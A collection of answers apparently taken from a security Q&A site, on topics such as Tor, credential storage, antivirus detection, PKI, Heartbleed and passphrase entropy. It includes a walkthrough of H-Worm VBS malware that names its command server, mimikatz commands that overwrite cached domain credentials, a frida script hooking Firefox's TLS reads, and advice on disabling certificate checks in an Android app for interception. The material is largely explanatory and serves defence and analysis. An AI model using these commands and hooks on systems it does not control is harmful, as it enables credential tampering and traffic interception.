If the ISP is only storing the header data, information letting them know that the connection occurred, when it occurred, how long it was, and how much data was transmitted they can't tie you to a Facebook account based on that information alone.

However, they could subpoena Facebook for any logs they have tied to your IP address and determine your account from there.

If you want to be as anonymous as possible I would recommend giving Tor a try.  It is a project that allows users to bounce their traffic through several nodes located around the world while no single node is capable of determining the source and destination of the traffic.  Specifically try the Tor browser bundle (Google is in friend for finding it).  It provides fairly strong anonymity, but make sure you use SSL still because the node that your traffic goes through to reach the rest of the internet will see it unencrypted if you don't and they have been known to log traffic in the past.

In short, with Tor you can hide (even from your ISP) the fact that your IP address connected to Facebook at some point in time.  Beyond that, theres not much you can do.


storing the third party credentials in the database/some secure place

Well, the challenge there is that the credentials in question must be stored in a manner that allows them to be read as plaintext. This means that some of the conventional wisdom about password storage (use bcrypt) is not applicable.

Your goal, then, is to mitigate risk and compartmentalize data. If at all possible, you want to have a different process that authenticates to the foreign site and hands your web application back a file handle to the active authenticated socket. That means that compromised your website won't leak the actual credentials in use as the web application will have no permissions to read that part of the database.

Encrypting the database values is common wisdom, but it may have limited utility depending on how you design your authentication application if it runs on the same server as the database. If you have the time and resources, design it such that the encryption and decryption happen in the authentication application and the database stores the encrypted values. Placing each of those roles on different machines and isolating the database and outside authentication system provide the most segmentation.


Why is FIDO U2F an entirely different standard from FIDO UAF instead of just a subset?

From a technical point of view, your question totally makes sense.

U2F and UAF were pushed by very different actors/players. UAF was backed (cough plagued cough) by biometrics companies and never took off for many reasons. U2F is a simpler no-nonsense solution that is now largely adopted by major web services providers like Facebook, Google services (including Gmail, Youtube, Google Ad, etc.), Github, Dropbox, FastMail, Dashlane, Salesforce, etc.

At first, there were no real all-in-on perspectives, but it may be different now. In fact, in the current draft of the next FIDO standard called "WebAuthN" (that used to be called FIDO 2.0 too) we can see as a non-messy UAF successor, FIDO U2F can be used as an "Attestation Statement Format" as you can see here: https://www.w3.org/TR/2017/WD-webauthn-20170216/

So your question makes sense and hopefully, in the future we are following this path.


How to recover disk image from a smartphone in "bootloop" state?

Without recovery mode, nothing can be done because of the boot loop. However, all hope is not lost. Two options exist:

1)
Fix a Stuck Button on Your Smartphone or Tablet [How-To]

  In this video, I'll be showing you how to free up a stuck button on
  your phone or tablet. By "stuck button," I mean the kind of
  malfunction that happens when dirt and grime accumulate around a
  button's housing, leaving you with a button that no longer gives you
  that "clicky" feeling, making it difficult to press.

  Materials needed for this method are isopropyl alcohol, a Q-tip or
  two, and some canned air.

I cannot foresee this doing much.

2)

Find a disassembly tutorial for your particular Android phone. Hopefully, the volume buttons are not actually broken, and rather something is preventing physical contact. Otherwise, it might still be possible to clean the circuit board without changing out the hardware.

This is quite restricting, as you need a functional volume rocker. Furthermore, repair difficult can vary from manufacturer and model.


How can Antivirus differentiate between a Trojan and a normal remote desktop application software?

Despite outrageous marketing claims to the contrary, antivirus software is not smart. Antivirus does not recognize "types" of software, as in "mmh... this looks like a tool for RAT". There are strong theoretical reasons why this sort of detection is, in all generality, impossible to achieve, and correspondingly very hard to do in practice.

What antivirus does is to look up the software they see (which is, ultimately, a sequence of bytes) in a big database of "known evil software". The antivirus vendor works hard, every day, to include in that database malware which has been observed in the wild -- i.e. most malware you are likely to encounter, but not Net support school software, which the human antivirus vendor are deemed "not evil".


Google still uses the issuing intermediate certificate (Google Internet Authority G2), signed by Geotrust (a part of Symantec group). Perhaps, this is the indirect reason why they have to keep symantec.com whitelisted in CAA. https://pki.google.com/

They have obtained their own root certificates recently, so they will stop using third-party CAs sooner or later. https://pki.goog/ is their own CA from now on.


Encrypted code file (.vbs) hides all my files and shows .lnk files

Your computer has been infected with H-Worm by Houdini.

The VBS file on your computer consists of two parts; first, the actual malware, encoded as Base64 as said by user2867314; second, the code to Base64-decode the malware.

Step by step:

The first line is a comment.
The next line calls the function deCrypt with the Base-64 encoded malware and assigns the return value to a variable with the name Safa7_22:

Safa7_22 = deCrypt("(…)")

The third line executes the value of the variable Safa7_22 as VBScript:

EXECUTE (Safa7_22)

Line 4-6 contain a function named deCrypt that, when called, calls another function named decodeBase64 with the data passed as the first argument to the deCrypt function and returns  the value returned by the decodeBase64 function. It is redundant, as the malware author could just have called the function decodeBase64 directly at line two. Since VBScript first makes all functions in a script available before it starts with the execution of the other code, it is available at line two.
Line 7-49 contain a function to decode Base64, apparently copied from here.

The malware is encoded to hamper detection by AntiVirus solutions.

Here is the original malware with the correct syntax highlighting: http://pastebin.com/ne1fnwKx

And here is the the decoded malware: http://pastebin.com/7qS5rEEQ

At the top at the decoded malware is the configuration: it is configured to communicate with its C&C at al-ahlii17.no-ip.org.

Right now, this subdomain points to a server at 101.61.156.113, a server hosted by an ISP in Mumbai, India.

It will use port 1155 and is configured to hide both folders and files and replace them with shortcuts.

When the malware is base64-decoded and executed, it performs the following actions.

It first calls the function instance. This function checks if the computer already has a flag in the Windows registry. If not, it will store the following:

a. If the script is in the root directory of a drive, it will set store the value "true" and the current date.
b. If the script is not in the root directory of a drive, it will set store the value "true" and the current date.
After that, the function instance calls another function, upstart. This function creates a key in the Windows registry under HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\ to ensure the script is started each time when you're logging in to your account if you weren't logged  in yet. It also copies itself to the Startup folder.
Then, this function ends and the function instance resumes execution. It checks if it is already installed at the configured install location and, if so, starts WScript in Batch mode with the script's name and exits.
It then uses the OpenTextFile function to try top open a copy of the script at the install location. If opening fails, the script is already executing, meaning there is no need to reinstall it. Thus, if there is an error, it quits.
The function instance has now stopped execution, and the scripting engine resumes at line 42, where it encounters the following instruction:

while true

This is the beginning of an infinite loop, meaning the script will stay running until it breaks out of the loop (or the script is terminated).
After that, it calls the function install. This function first calls the upstart function, described above, again. After that, it will do the following for each drive:

If configured so, it hides files and / or folders and replaces them with a shortcut that will first execute the malware and then open the original file / folder using Windows Explorer.

Then, it will send an HTTP POST request request to the C&C server. It can perform various actions: downloading and executing arbitrary programs, updating itself, executing CMD commands, kill processes, send information about the drive and running processes to the attacker and more. It also contains an action to uninstall itself. All of this happens over an unencrypted (HTTP) connection.
Once it has executed the attackers commands, if there were any, it will halt execution for a specified amount of time (in this case, 5 seconds). Then, it encounters the instruction wend, after which it will start over at the beginning of the while loop (see point 5).

How to remove:

Terminate wscript.exe using Task Manager or Process Explorer.
Show hidden folders if you haven't done so already.
Remove any malicious .lnk files left behind by the script.
Delete the script's entry under HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\. It will be the script's name without .vbs.
Remove the script from the windows startup folder.
Clean the other registry keys left behind by the script as well if you want.
Remove the script file from the root of each portable disk drive and the install directory (%temp%).
Make the hidden files and folders visible again.
Malware almost never comes alone. Run a full system scan with an antivirus and a second opinion scanner (such as MalwareBytes and HitmanPro). Also, consider a full reinstall of your system.


SecureData even for admins with external login

The rule is that if the data is in clear text at any moment on a machine it is accessible to the admin of the machine. Because by definition, an admin can use administrative tools and can read memory of any process or install spys on any network route.

Doing so without good reason is of course a professional fault and the admin can be fired for that, not speaking of legal actions, but technically it can be done.

The only thing that could be done here would be to have different administrative zones, and configure the system so that the database machine admins cannot access the data. For that, the main server should be distinct from the database server and the database should only contain encrypted data. It can make sense if you have an internal server but want to store the database externally for redundancy reasons. But a much more common use case would be to have an internal database, and only store encrypted dumps in the cloud.

TL/DR: if you cannot trust the admin, you cannot trust the machine, so the webservice should only process encrypted data, which means that you need something else and elsewhere to actually process, encrypt and decrypt the data.


How could SSL certificate affect the symmetric key length?

It is, to put it bluntly, a steaming pile of bullshit.

The SSL certificate has no bearing on which SSL or TLS cipher suites are negotiated. The two parts of the protocol are separate.


Infecting peers downloading files using BitTorrent protocols

Is this technique even possible at all?

No, it's not possible. You are missing a key part of the process, the .torrent file. And the original server does not exist.
That file specifies the filename, the size, how many chunks the file have, and the hash of each one. And that is not attacker-controlled.
When your BitTorrent client wants to download something, it starts with the .torrent file. It will look at the file, and connect to a tracker. The tracker is a server that does not host any file, but instead hosts a list of all pieces he sees and who have which piece. Your client look at the pieces he needs and ask the tracker for people that have that piece.
Now your client will connect to someone (called a peer), and ask a piece of the file (usually the piece which less people have). If the attacker changed the piece to a malicious one, your client will finish downloading, and hash the piece, only to discover it does not match the hash on the .torrent file. It will mark the piece as corrupted and download again, probably from another peer.


Replacing cached domain credentials in SECURITY hive

Now my question: Is it possible to replace the cached password hash of a domain > user with that of a known password, in order to then reboot the system and log > in with the known password

Yes, this is possible with the latest version of mimikatz (available on the releases page of gentilkiwi/mimikatz github account).

However, I have found that in order to use this functionality on a system with multiple domain users you may actually have to specify two arguments (the username and the kiwi flag)

# lsadump::cache /user:<username> /kiwi

After running this command the cached domain credentials will be replaced with the default mimikatz password (which is "mimikatz")! If you prefer to set a password other than "mimikatz" use the command:

# lsadump::cache /user:<username> /password:<password-to-set> /kiwi


Will installing WinZip 22 on a server create a security vulnerability?

No if you patch Winzip frequently.

Yes if you don't patch it.

This answer applies to all software on a server not just Winzip.  Only put software on a server that is required in order to reduce risk and attack surface.


Any example where client certification is required?

An SSL server requires a client certificate if the server says so. In an overall system, this makes sense only if authorized clients have been provisioned with certificates, which is not a very common situation.

In my daily work, we develop and deploy a PKI for distributing smart cards, and certificates on smart cards, to physicians. This is so that the said physicians may access from their computers centralized medical records for patients. Medical records are "very private" and thus strong authentication is needed for access; when using Web-based technology (the tool on the physician side of things is a Web browser), the authentication is based on SSL and the SSL server demands a certificate from the client.

PKI is complex (the software is simple, the procedures are mindbogglingly twisted and byzantine) so such things happen only when someone injects a lot of money in the project.

Some banks have played with the concept of issuing certificates to their customers -- for Web authentication (in SSL) and, more importantly, for digital signatures on bank order submitted online (this kind of signature is not an SSL feature). I think UBS was doing that at some point; I am not sure they still do.


Is a firewall enough of a security measure for an Ubuntu server that hosts a website?

Given the technologies you want to use you want to create a dynamic database-backed website without having any experience with this. This kind of setup is typical for easy too exploit sites: database-backed often allows SQL injection, insecure uploads might allow code execution etc. The normal packet filter firewall on Linux will not protect against any of these application-level attacks, i.e. a firewall is not enough of a security measure.

With the level of experience you currently have I strongly recommend to not create some dynamic application which is accessible (and potentially exploitable) by anybody. If this is just for your own or some selected users you might try to password protect the site using the established mechanism the web server has (i.e. htpasswd or similar) to at least limit the attack surface by limiting who can access your website.

  I'd also appreciate a book/website recommendation for Ubuntu and security complete beginners

To learn more about web security you might start with the Top 10 Web Application Security Risks. In general, this is unfortunately a fairly complex topic so don't expect to be quickly sufficiently familiar with it.


Is it safe to open a message in inbox? (but not the GIF itself?)

Why are you concerned about malware? A GIF is just a image format, which may contain animations. It's rather old, and the code is fairly well tested, so there's quite low chances of security problems in gif handling code.

Furthermore Facebook is quite good at filtering out malicious content - especially in messages.

In sum: the chances of getting malware from viewing a image on the internet is next to zero. The chances of getting malware from clicking on something in a message on Facebook, without further action, such as downloading files, is low.

Note that FB Messenger also supports gifs from a approved palette. In case it is one of those gifs, it's absolutely safe.


Private key storage for end2end encrypted messaging

When talking about Facebook and Whatsapp end to end encryption, both work for one device at a time. Reference: Facebook help center.

  However, if my private key is stored only on my device, how can I still read/fetch all my previous conversations (supposedly encrypted) from the server when I use a new device since I don't have my private key anymore ?

In Whatsapp when you move to a new device, you need to wait for your device to get synced with the other device to read all the messages that were sent from that device. Whatsapp basically re-encrypts the messages. I am guessing that same should be the case with Facebook as well. Here is a reference to Whatsapp

  Or for example, if I use Facebook messenger on my browser, how can I decrypt previous messages when the private key should not be transferred ?

As mentioned in the Facebook help center, if you are initiating a secret chat( FB name for end to end encrypted chat), only the device used for end to end encryption can decrypt the messages as other devices don't have the same key.
When it comes to Whatsapp web, it allegedly has a secure connection (not end to end) with your phone client and the phone client has true end to end encryption with the other device. Reference


SMBv1 Server vs Client relative vulnerability risk

In general it seems like you've got a good understanding of the attack space.  Going to attack each question independently as there are a few here.
Questions

If have ONLY the appliance itself (call it APPServer) plugged in and accepting SMBv1 connections, have I introduced a vulnerability to ANY other device on the network? If so, how?

Not really.  It would be a good place to establish persistence.  Say there was another vulnerability, the attacker got in, their next move would be to gain access to as many devices as possible so when the original attack vector is squashed, they'd still have access.

If I now enable SMBv1 (Client-side ONLY) on ONLY one of my Win10 clients so that it can communicate with APPServer, how much worse has my situation gotten? I'm guessing the APPServer could then be compromised if the Win10 Client was infected, but wouldn't everything else on the network be unaffected by SMBv1-related issues? If not, how?

No.  Any device on the network can infect the APPServer, it doesn't need to use SMBv1 client to do so.

I assume Microsoft separated the ability to disable SMBv1 between client and server on recent Win10 installs because a device accepting SMBv1 connections as a server is inherently more vulnerable than using SMBv1 from the client side. Is this assumption correct??

Yes. That assumption is probably correct, though I'm not aware of MS explicitly saying this.
Publicly Exposed
I know you said that the AppServer is not exposed to the internet, but there always is the potential for the server to be exposed inadvertently or via an exploit on the router/firewall.  I've seen some exploits that allow an attacker to add port forwarding rules, to which you could use to point at your AppServer then pivot through the network.
General
All this being said, I'd still never recommend having a SMBv1 server on the network at all, there might be a way to plug it into a SMBv3 server over USB and share or some other protocol.
Good security is not only having a strong wall on the outside but also secured devices inside.


Could a compromised WP database cause re-infection without the hacker needing to login into WP?

Once an attacker has obtained remote code execution on  the server,  the first step is to setup persistent access.  Two common ways this is done is by modifying a php file,  or by adding a new .php file to the web root.

If the infection is creating spam blog posts, or other unauthorized database modifications    then it maybe possible the attacker has persistent access to the database.   Believe it or not,  there are still a lot of hosting companies that permit anyone on the internet to login to your database. To make matters worse, database credentials are almost always stored in plaintext in the wp-config.php file.  Database access must always be limited to trusted hosts using a firewall or some other network-based access control.

Reinstall from scratch, change all passwords, keep everything updated.


KeePassXC & Yubikey HMAC-SHA-1 vs 40+ Character Password

If the challenge is hard-coded, then yes, the random password is probably* more secure, but meaninglessly so. 128 bits is so far beyond our capability of brute-forcing that there's really no need to go higher unless you're concerned with very long term secrets. 256 bits can be justified with the generous assumption that quantum operations will eventually be as cheap as classical operations, but even in this case the 160 bits of HMAC-SHA1 is far from trivial.

(*) One method of avoiding timing attacks on string comparison is to compare a hash of each string, if this hash is 160 bits or smaller you're limited to that many bits of security regardless


is it possible to write php code in address bar and its gonna work?

Sadly yes, or very close to it, but only due to bugs and/or misconfiguration. For CGI PHP installations there was recently an arbitrary remote code execution using the query string: CVE-2012-1823

Detailed write up by Eindbazen who discovered it at a Nullcon CTF:
  http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

There's a Metasploit module to leverage this too.


How to verify integrity of software when the download provider doesn't publish hashes?

You are download via HTTPS, so the entire download is protected by TLS.
Publishing the hashes to protect against anti-tamper is a moot point here, because if any attacker have access to vivaldi.com and can alter the downloadable binary, he can alter the website and change the published hash too. A hash is good if the download is not hosted on the same server as the download page. But if both are on the same server, they cannot protect anything.
The installation package usually is digitally signed. You can check Windows executables and .deb packages for the signature, and see if they match.


Proving an action was done at an exact time - a posteriori

Trusted timestamps

You can use a trusted timestamp service. There are companies (such as GlobalSign) that will provide that service for a fee.

  But this is silly, as anyone could record these hashes by hitting the server often enough.

Yes. But only if you have a small search space. But in the case of SHA256 there you would have to devote 10^77 rows in your database to storing the results. And that is WITHOUT any data in those rows. That number is close to the estimated atom count in the universe of 10^80. And that is too high.

And that makes you safe: the sheer, overwhelming amount.

Nobody will have enough time to submit all the hashes. (And also: nobody will have that much money to pay the processing fees.) Nobody will have enough hard drives to store all the results.

Further reading

Wiki has an nice explanation of the general idea.

Wikipedia: Trusted timestamping, Section Creating a timestamp: (line breaks mine)

  The technique is based on digital signatures and hash functions.

  First a hash is calculated from the data. A hash is a sort of digital fingerprint of the original data: a string of bits that is practically impossible to duplicate with any other set of data. If the original data is changed then this will result in a completely different hash.

  This hash is sent to the TSA.

  The TSA concatenates a timestamp to the hash and calculates the hash of this concatenation.

  This hash is in turn digitally signed with the private key of the TSA.

  This signed hash + the timestamp is sent back to the requester of the timestamp who stores these with the original data (see diagram).


Generating partical Eliptic Curve Diffie-Hellman keys

Quick answers:

Not impossible, but pretty much in the realm of defeating PKI - so not easy by a long shot (yet).
[edit: If it ever becomes easy, you might want to stop using that implementation of PKI for security in the first place!]
I have not come across such a generator.

PKI makes that difficult by design (not necessarily in implementation though that's a digression) - so you might want to look for design solutions that better suit your needs. Or state your underlying need, to explore possibilities.


Managing db credentials for web applications

Yes, there are several tools that provide automating the best practices for managing a database credentials policy.

If you are using AWS then there is AWS Secrets Manager. For a cloud provider agnostic solution there is Hashicorp’s Vault which is manages secrets of all types.

If you want to deploy something locally in your own environment there is Conjur which is open source. There are also other commercial tools like okta and others


Can a magnetic credit card writer encode a blank card based off just a credit card number?

Could someone write just your card number to a blank card? Yes. But would that let them masquerade as you and charge up your account by swiping that card at point of sale machines in brick and mortar stores? No. Mainly because, when a transaction is sent from a point of sale machine to a card processor for validation, they require data besides the card number (just like you mention for online transactions). Those other required data elements are also written to the mag stripe, in addition to the account number, on a valid card.

Credit card mag stripes contain three tracks - the first two are essentially standard, and describe your account (including account number, expiration date, your full name, country code, etc). Those two tracks are what's used to actually process a transaction when the card is swiped, and essentially replicate the info you're used to typing in when using your card online.

The third track is largely unused, and when it is used, the info stored there varies bank to bank - sometimes including things like PIN numbers, or ID numbers associated with rewards programs, or your max line of credit, or other info. It's essentially unimportant in the scenario of validating a transaction at a point of sale machine, though.


What Firefox settings should be changed from factory defaults to ensure privacy vis-à-vis Mozilla?

It is unwise to post link-only answers, yet I'll point interested readers at https://github.com/pyllyukko/user.js. A metric tonne of security- and privacy-related settings are there, waiting to be implemented in your Firefoxes.

I also link to permanent webarchived version of the main script in case the repo gets deleted or lost: https://web.archive.org/web/20150413081702/https://github.com/pyllyukko/user.js/blob/master/user.js

Shameless self-promotion here: https://github.com/Hunter-Github/awesome-firefox as a repository of privacy-related links for FF.


What tools are available to assess the security of a web application?

there's a large number of apps that can be used in web application assessments.  One thing to consider is what kind of tool you're looking for.  Some of them are better used alongside a manual test, where others are more designed for non-security specialist IT staff as more "black box" scanning tools.

On top of that there's a huge range of scripts and point tools that can be used to assess specific areas of web application security.

Some of my favorites

Burp suite - http://www.portswigger.net . Free and commercial tool.  Excellent adjunct to manual testing and has a good scanner capability as well.  Of professional web application testers I know, most use this.

W3af - http://w3af.org/ - Open source scanning tool, seems to be developing quite a bit at the moment, primarily focuses on the automated scanning side of things, is still requires quite a bit of knowledge to use effectively.

On the pure scanning side there's a number of commercial tools available.

Netsparker - http://www.mavitunasecurity.com/netsparker/

IBM AppScan - http://www-01.ibm.com/software/awdtools/appscan/

HP WebInspect - https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-200^9570_4000_100__

Cenzic Hailstorm - http://www.cenzic.com/products/cenzic-hailstormPro/

Acunetix WVS - http://www.acunetix.com/vulnerability-scanner/

NTObjectives NTOSpider - http://www.ntobjectives.com/ntospider


The maximum size of a HeartbeatMessage (including padding, etc.) is 2^14 per RFC 6520 sect. 4 as you pointed out.

OpenSSL however had an implementation issue that did not properly check for this bound (and allowing values up to the maximum size of an 16-bit integer, that is about 2^16). The result is known as the "Heartbleed" bug. See this OpenSSL commit for the fix which adds the missing boundary check.

If you are wondering why setting the payload length to 0xFFFF does not result in a single response of about 2^16 bytes, this is because the maximum size for a TLSPlainText must not exceed 2^14 which is also enforced in OpenSSL. (For a detailed explanation on the exact format for a crafted Heartbeat message, see these comments of the pacemaker PoC.)


Metasploit develop their own exploit database. You cannot simply load a random exploit from ExploitDB into Metasploit.


How long does a passphrase have to be to be as secure as a random collection of letters, digits, punctuation, etc.?

Shannon's original paper on the subject and further research gives grammatical English about 1.3 bits of entropy per character.  You can compute the entropy of a random password by raising the character space to the power of the length of the password, and then taking the log base 2 of that value, eg. an n-character password created using the 96 printable ASCII characters would have an entropy of log2(96^n).

From this, you can compute the length of English text needed to get the same security.  For example, an eight-character random password is equivalent to (log2(96^8)/1.3), or about a 40-character sentence.


Which telephone numbers do Google use for Two factor verification codes?

How can I tell whether these codes are actually sent from Google?

You can't.

I can now send you a code from any number/any name I want and you would probably believe it came from Google.

When you try to input the code I sent you to the 2FA it will not work verifying that I am indeed not Google.

EDIT:
For anyone reading this in 2020 Googles stock Android sms app(Messages) will now verify who the message is from.
If it doesn't say that it is from Google I would suggest that you don't use it and request a new code. Or don't login to that account until things are figured out.

  Do Google use multiple different phone lines for sending out verification codes

Google probably uses a 3rd party service for sending the SMS. Even if they didn't, in order to scale they would need multiple lines since most carriers have SMS limits.


Make nginx drop requests to timeout client on purpose

It is not possible to drop HTTP requests to hide the server, no matter if using nginx or another server. The HTTP request will only be sent after establishing the TCP connection. This connection can then only be closed with or without a response. You could also keep it open so that the browser times out but each open connections needs resources at the server.

You can only hide the server for clients based on the source IP, not on the contents of the HTTP request (i.e. specific URL). But this would not be done in the webserver but in the firewall (i.e. iptables, ipfw, pf or whatever you have).

if your intend is to annoy the typical bots testing for possible exploits then you might try it with a redirect to a nonexisting IP or port. Any access to this port could then be dropped by the firewall so that the bot runs into a timeout. I do this on my site and in my experience this will slow down bots because most  will happily follow such redirects.


Is there any point in preventing apps from running on rooted phones, if you also offer a web interface?

A rooted phone may allow the user to install services that are able to read the private data of other apps. Many online banking apps rely on app-private storage for their easy sign-on system. (i.e. 4 digit PIN or Fingerprint)

If the bank cannot rely on app-private storage, then a more thorough authentication is required (i.e. full password and possible security question), as you would normally see in the web-based interface.

Furthermore, the app may store additional cached information in the app-private storage for a better user experience, knowing that app-private storage is more secure than browser localStorage.

If app-private storage is compromised then these assumptions cannot be relied upon.

Personally, I think that this is a bit of an over-reach for the bank. It is just really annoying for the tech-savvy users who are careful about installing root-capable apps.

Perhaps some (non-tech-savvy) users (who don't understand the risk of rooted devices) will benefit. The risk of having your online banking account hijacked is quite serious.

Most of the (possible) risks of using a rooted phone (i.e. screen-scrapers and keyloggers) still apply when using the browser online version.


How should I store TOTP recovery codes on the server end?

What it appears you have in this particular TOTP library is the requirement to create and implement a 2FA bypass function outside of TOTP.

  These are a set of one time use codes that can be used instead of the
  TOTP. These can simply be randomly generated strings that you store in
  your backend.

Those recovery keys are "golden keys" that unlock the account. These become like a second password, and as such, should be protected and implemented in the same manner.


You may want to try this with frida:

import frida
import sys

session = frida.attach("firefox.exe")
script = session.create_script("""
"use strict";
const PR_Read = Module.findExportByName("nss3.dll", "PR_Read");

Interceptor.attach(PR_Read, {
    onEnter: function (args) {
        let length = args[2].toInt32();
        let buffer = Memory.readByteArray(args[1], length - 1);
        console.log(buffer);
    }
});
""")

script.load()
sys.stdin.read()

Note that I haven't tried this code, but as you seem to have managed to get the client-random and the master key, with PR_Write (which is what firefox outputs), you probably will get the server random with PR_Read (which is what the server responds).

Sources:

https://wiremask.eu/articles/hooking-firefox-with-frida/
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR/Reference/PR_Read
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR/Reference/PR_Write

How I found that:

looked at the page you linked.
found that the way to get what firefox output is using PR_Write
looked at what the function is on MDN
guessed that if there's a write, there might be a read
searched PR_Read on MDN
found it has the same signature as PR_Write
replaced PR_Write with PR_Read
if the signature was different, I might have had to change some more things around (like the args[])


How can user-less servers be authenticated without sharing secret data?

The servers each need a own secret (shared secret or public/private keys where the public part is known to the API server or signed by it/a CA).

Each server then identifies itself and gets access to the data it is allowed!

If one server is compromised, you delete the shared secret/public key from the API server or revoke the certificate.

You can look at the OAuth 2.0 Client Credentials Grant for inspiration.


What advantage does HMAC provide in generating short hashes comparing to regular hash function?

I can only take a guess why they decided to implement this construct, but the first thing that comes to my mind are some security issues.

Using HMAC's prevents several possible attacks against SHA256. SHA256 uses a Merkle–Damgård construction, which is vulnerable to length extension attacks. Even when using SHA256(data||key), using a combination of the Daily Tracing Key and the TIN its much easier to find collisions.

So the RPI does not only need to be a one-way-function it also needs to have a good collision resistance.

Under Security Considerations it says:

  Without the release of the Daily Tracing Keys, it is not computationally feasible for an attacker to
  find a collision on a Rolling Proximity Identifier. This prevents a wide-range of replay and
  impersonation attacks.

Using HMAC's therefore is more complex, but it mitigates or reduces those attack vectors.

If you're interested in the specification for HMAC's they are defined in RFC2104.


Is this passport survey website legitimate?

It may be legitimate based on this US Dept of State notice: https://travel.state.gov/content/passports/en/news/passport-demand-study.html

However, they recommend you email passportstudy@state.gov (from the bottom of your letter) if you want verify this.  You can request that they specifically confirm the passportplanning.com domain is indeed associated with their study.  This government page (http://www.reginfo.gov/public/do/PRAViewIC?ref_nbr=201410-1405-002&icID=185826) seems to confirm that the passportplanning.com domain is associated with their study.


Offloading TLS client-cert checking to OpenSSL (or similar) if server does not support it

Would be this TLS offloading a normal setup?

Offloading TLS to something else if your server doesn't support what you want is a normal setup.

  If so, is OpenSSL a good handler for this offloading?

I would not expect to build a solution for this directly with openssl.  Load balancers do this sort of thing all the time.  You can also do it with stunnel; here is an example setup, boiling down to these key config lines:

verify = 2 # This enables the mutual authentication
CAfile = /etc/ssl/certs/root-genfic.crt

Where client certs are signed by root-genfic.crt.

  If yes, what documentation could be a good starting point for this kind of setup, where I can read on and learn?

stunnel documentation and related resources are available at the stunnel web site.


First of all, thank you for sharing this very interesting and revealing post by Troy Hunt.
As for your question, after doing some serious Google searching and after consulting with PCI DDS professionals the best answer I can give you is:

If the entity is compliant and still a violation of one of the requirements is discovered by a client or another outside agent, he/she should be able to report the issue to the company support or contact as there is no direct or formal reference or procedure required to that by PCI.

In other words: "Go fish"


CSR from IIS 8 and Keeping my Private Key a Secret

A certificate, properly named, does not include a private key. A certificate contains a public key, and an identity, and is signed by a Certification Authority. Unfortunately, a number of widespread documentations use the term "certificate" to designate the combination of a certificate and the corresponding private key; this spreads confusion.

A certificate request (so-called "CSR") contains only the public key, not the private key. When IIS generates a CSR, it actually generates a new key pair (public and private key), then wraps the public key into the certificate request and signs it using the private key. The private key does not go anywhere; the CA never sees it. When the CA receives the CSR, it takes the public key from it, puts it into a certificate that it signs, and sends back. At no point does the private key leaves your machine, and that is how things should be done.

Now some CA insist on generating the private/public key pair themselves, and sending both the private key and the certificate to you. This makes things technically simpler for the CA, but entails potential security issues, because then the CA also has a copy of the private key, and the private key has somehow to travel back to you. Usually, a PKCS#12 archive (aka "PFX file") is used, because that format includes password-based protection.

CA-side private key generation can be a good idea when the private key is used for encrypting data permanently (e.g. a private key for encrypted emails), because loss of that key implies loss of data. Thus, that kind of private key should be backed up, and the CA is a nice central place for such backups. However, this does not apply to SSL, where the private key is used only transiently for connection establishment. Therefore, when the certificate is for IIS, then server-side private key generation should be used, and that's what IIS does.


Is it risky to download but not use a zip file?

There are different classes of attacks.

First we have what I would call direct attacks: the attacker expects its target to run its code. Common examples are rogue versions of legitimate software which behaves the same as their innocent counterpart but with additional (malware) code. If you do not execute the downloaded file, you will be safe regarding this kind of attacks. It is evident for you 2 first examples, less evident for the third because if you use a browser to dowload a html file, it will execute the contained javascript if any.

But you can also have what I would call side channel attacks. Here the attacker has found a flaw in a legitimate application, and has crafted special data that will cause the standard application to execute the malware code. Examples could include buffer overflow exploits but are not limited to them. Such attacks are generally harder to build and have a lower chance to succeed because for example an attack targetted at a version of Firefox will be uneffective if a user uses Chrome for example. But they must nevertheless be considered because they can be hidden in pure non executable data files like plain jpeg images.

In that case (and in theory because I know no example of these), the attacker could craft a special file to exploit a bug in a downloading application (risk is very low) or in a decompressing tool (risk slightly higher because the algorithms are more complexes).


Should I be concerned about this ip spider accessing my documents?

This question is a bit unclear, while the comments are correct if in fact you did put this file in a public location. i.e. in some sub directory of a web service, accessible to anyone who navigates to this file. You dont specifically mention this.

What I'm saying is the answer to this question could vary heavily depending on where exactly this file was. was it on a web server? or was it on your desktop. these are two very different situations.

Yandex is the web crawler for russia's largest search engine. think of it like their version of google (for russians who dont use google already). It's harmless. Unless somone is impersonating it (paranoia hat). By itself its meaningless, but again, if yandex is crawling the root folder of your home desktop, thats a serious issue, not because of yandex, but because yandex can get there. What i think is really going on here though is you set up a web server and just put this file online, where all the search engine bots will pick away at it. You will find many doing so. In order of highest percentage of web crawled, at least it was, i don't know how outdated my list is anymore, its been a few years, but its good enough to give you the idea.

Googlebot
Baidu Spider
MSN Bot/BingBot
Yandex Bot
Soso Spider
ExaBot
Sogou Spider
Google Plus
Facebook

these little guys are how all of our search engines work, they need to know whats out there so they "crawl" all over the place and find out.

if you want to lay a "hacker trap" you are better off using what are called "honey pot" tecniques. involving fake mysql dbs, hidden forms, fake RFI vulnerabilities and things like that.


Android application level encryption cracking

It depends upon the encryption.  However, if they are using modern secure encryption, then there will be no way to read this traffic from the proxy.

Your best bet will probably be to instrument or monitor the application so you can see the data inside the app before it gets encrypted.  Alternatively, it may be possible to modify the application to turn off the encryption, or to make it less secure (e.g., if it is using SSL, modify it so it doesn't check the server's cert or so that it accepts your cert as a valid CA, and then mount a man-in-the-middle attack).

All of this is likely to involve some amount of reverse-engineering the code of the Android application, which may take some work if the app has been obfuscated.


Why did Facebook not use HSTS for a long time after it became available?

Edit: Facebook now use HSTS, so both question and answer are now incorrect.

Because using HTTPS for Facebook is optional.

If you look in "Account Settings" and "Security Settings" there is an option for "Secure browsing". It has defaulted to on since July 2013 but you still have the option to turn it off.

If they used HSTS then when you turned off "Secure browsing" the site would cease to work - at least, unless they did some fairly funky workaround.

I can't think of any practical reason to disable secure browsing. Certainly any such reason would be rare. I think the option is there more due to historical accident than active planning.


Snapchat tracking over company WiFi. What can they see, save or open?

Snapchat used to use a famously weak crypto implementation with a global key stored in the source code to encrypt pictures at rest, so they are infamous when it comes to security.

But, luckily enough, all communication is over HTTPS. That means the owner of the network (your company) can not MitM the users (your friend) and read the content of their messages. They can, however, see who communicates with who. Since the Snapchat app communicates with the Snapchat servers, and not directly with the person the messages are adressed to, they could see that your friend used Snapchat, but not that she chatted with you or what she sent.

Some caveats that could undo this:

Maybe Snapchat messed up the TLS implementation, and don't check the certificates properly.
